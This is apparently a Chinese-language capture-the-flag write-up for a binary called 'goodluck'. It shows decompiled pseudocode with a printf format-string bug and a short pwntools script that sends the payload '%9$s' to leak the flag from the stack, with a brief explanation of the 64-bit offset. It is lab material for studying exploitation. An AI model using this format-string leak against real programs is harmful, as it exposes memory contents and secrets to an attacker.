献上goodluck的伪代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| int __cdecl main(int argc, const char **argv, const char **envp) { char v4; // [rsp+3h] [rbp-3Dh] signed int i; // [rsp+4h] [rbp-3Ch] signed int j; // [rsp+4h] [rbp-3Ch] char *format; // [rsp+8h] [rbp-38h] _IO_FILE *fp; // [rsp+10h] [rbp-30h] char *v9; // [rsp+18h] [rbp-28h] char v10[24]; // [rsp+20h] [rbp-20h] unsigned __int64 v11; // [rsp+38h] [rbp-8h]
v11 = __readfsqword(0x28u); fp = fopen("flag.txt", "r"); for ( i = 0; i <= 21; ++i ) v10[i] = _IO_getc(fp); fclose(fp); v9 = v10; puts("what's the flag"); fflush(_bss_start); format = 0LL; __isoc99_scanf("%ms", &format); for ( j = 0; j <= 21; ++j ) { v4 = format[j]; if ( !v4 || v10[j] != v4 ) { puts("You answered:"); printf(format); puts("\nBut that was totally wrong lol get rekt"); fflush(_bss_start); return 0; } } printf("That's right, the flag is %s\n", v9); fflush(_bss_start); return 0; }
|
程序逻辑
我们先在本地创建一个flag.txt文件,以保证程序正常运行
结合伪代码和 ./goodluck 我们发现:
程序用 IO_getc 把 flag.txt 读入栈中,然后让我们输入字符串,最后输出字符串。
献上脚本
1 2 3 4 5 6 7 8 9 10
| from pwn import * from LibcSearcher import * goodluck = ELF('./goodluck') sh = process('./goodluck') payload = "%9$s" print payload
sh.sendline(payload) print sh.recv() sh.interactive()
|
解题思路
将断点断在printf(fmtstr)上,先后输入
r 和 step。发现printf栈帧周围存在已经入栈的flag.txt的内容。
发现偏移为4。
但是此程序为64位,加上6个寄存器,偏移为10
但是%9$s是不包括fmtstr本身的偏移,所以最终偏移为9
最后写出脚本,泄露flag.txt.
有关flag.txt入栈的细节可以自行研究